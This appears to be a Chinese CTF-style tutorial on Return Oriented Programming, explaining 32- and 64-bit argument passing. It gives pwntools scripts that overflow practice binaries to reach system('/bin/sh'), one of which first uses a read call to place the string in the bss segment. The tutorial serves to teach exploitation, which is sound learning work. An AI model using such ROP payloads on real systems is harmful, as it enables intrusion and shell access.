Linux下pwn从入门到放弃,pwn从入门到放弃第六章——简单ROP

66b52468c121889b900d4956032f1009.png

8种机械键盘轴体对比

本人程序员,要买一个写代码的键盘,请问红轴和茶轴怎么选?

这篇鸽了挺久的,补一下吧

简单介绍ROP

首先先来说下什么是ROP

ROP是Return Oriented Programming 的缩写

翻译过来就是面向返回的编程

你可能会问,我们不是利用栈溢出漏洞么,怎么又扯到编程了?

其实ROP就是另外一种意义上的编程,其核心在于利用了指令集中的 ret 指令,改变了指令流的执行顺序。ROP 攻击一般得满足如下条件程序存在溢出,并且可以控制返回地址。

可以找到满足条件的 gadgets 以及相应 gadgets 的地址。

这里的gadgets是类似下面的代码片段

964d9409126481878647f369d37ddbbb.png

这里用32位的程序作为示例,所以我们先讲32位的ROP,然后再讲64位的ROP,两者其实相差不大

这些gadgets一般遵循以下的形式1

2

3xxx

xxx

ret

例如1

2pop ebp

ret

1

2int 80h

ret

反正就是一堆指令后面跟着ret

但是比较常见和常用的就是1

2pop xxx

ret

这一类的gadget

但是其实在32位的ROP中是比较少用gadget的

这里又扯一下函数参数的传递方式32位

我们举一个例子吧,在上一章的示例程序中也可以找到对应的代码1read(0,buf,0x100)

这一句代码,对应的汇编是1

2

3

4

5.text:08048484 push 100h ; nbytes

.text:08048489 lea eax, [ebp+buf]

.text:0804848C push eax ; buf

.text:0804848D push 0 ; fd

.text:0804848F call _read

可以看到参数是从右到左入栈,先push 0x100,再push buf,最后push 0

所以例如1my_fun(0,1,2,3,4,5,6)

对应的汇编就是1

2

3

4

5

6

7

8push 6

push 5

push 4

push 3

push 2

push 1

push 0

call my_fun

64位

同样是那一行代码1read(0,buf,0x100)

对应的64位汇编是1

2

3

4

5lea rax, [rbp+buf]

mov edx, 100h ; nbytes

mov rsi, rax ; buf

mov edi, 0 ; fd

call _read

而1my_fun(0,1,2,3,4,5,6)

就变成1

2

3

4

5

6

7

8push 6

mov r9d, 5

mov r8d, 4

mov ecx, 3

mov edx, 2

mov esi, 1

mov edi, 0

call my_fun

可以看到函数的前6个参数都会放到寄存器里面,从左到右对应的是1rdi, rsi, rdx, rcx, r8d, r9d

如果还有更多参数的话,就会通过栈来传递

32位程序实战

接下来结合实例来讲一下吧

还是用上一章那个程序

假如现在我们不直接跳到backdoor函数,而是通过ROP来调用1system("/bin/sh")

布置好的栈如下

82d33a0509f27058fc35bfd318238b91.png

对应的payload是1

2

3

4

5

6

7

8

9

10

11

12

13

14

15from pwn import *

p=process('./pwn_level1')

context.log_level='debug'

gdb.attach(p)

p.recvuntil('try to stackoverflow!!')

system=0x8048340

binsh=0x8048577

p.send('a'*13+p32(system)+p32(0xdeadbeef)+p32(binsh))

p.interactive()

接下来讲解一下为什么这样布置栈

我们在0x8048499 处下一个断点

dbe5213a3179da327e49840a8c7ebc86.png

用1x /10xw $esp

查看栈的情况

615d20896c98da39f84bd7cda4ee80d2.png1

2

30x08048340 -> system

0xdeadbeef -> retaddr

0x08048577 -> /bin/sh字符串的地址

你可能想问,这里为什么突然多了retaddr这个东西了呢?

我们来回顾一下正常调用1system("/bin/sh")

对应的汇编是1

2push binsh_addr

call system

关键就在1call system

这句汇编其实等价于1

2push eip+5

jmp system

因为call指令一波都是5个字节的长度,所以这里保存的是下一条指令的地址

而我们栈溢出控制rip,其实就相等于1jmp system

少了保存地址,所以我们要填一个返回地址给它

但是调用system(“/bin/sh”)之后就get shell了,返回地址是什么其实没有什么所谓,所以填0xdeadbeef也行

接下来加大一点难度

假设程序里面没有/bin/sh这个字符串,我们要调用read读/bin/sh到bss段

布置好的栈如下

30d4b403cee033cdf6dd454079df86b7.png

payload如下1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24from pwn import *

p=process('./pwn_level1')

context.log_level='debug'

#gdb.attach(p)

p.recvuntil('try to stackoverflow!!')

read=0x8048320

system=0x8048340

binsh=0x8048577

pop3ret=0x8048539

bss=0x804A024

payload='a'*13+p32(read)+p32(pop3ret)+p32(0)+p32(bss)+p32(0x100)

payload+=p32(system)+p32(0xdeadbeef)+p32(bss)

p.send(payload)

sleep(1)

p.sendline('/bin/shx00')

p.interactive()

这里如果要调试的话,最好把1sleep(1)

换成1raw_input()

这样比较好调

这里1pop3ret

作用是改变栈,让栈指针指向system

64位程序实战

64位的其实和32位的大同小异,区别就在于传递参数那里

这里给下示例程序

然后给下payload,因为差不多,所以就不详细解释了1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17from pwn import *

p=process('./pwn_level1_64')

context.log_level='debug'

gdb.attach(p)

p.recvuntil('try to stackoverflow!!')

prdi=0x400663

binsh=0x400684

system=0x400480

payload='a'*9+p64(prdi)+p64(binsh)+p64(system)

p.send(payload)

p.interactive()

但是因为程序没有1pop rdx

这个gadget,所以在这个程序比较难控制第三个参数,也就比较难调用1read(0,buf,0x100)

比较难不代表不行,之后会介绍一个万能gadget,能够控制rdx的

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值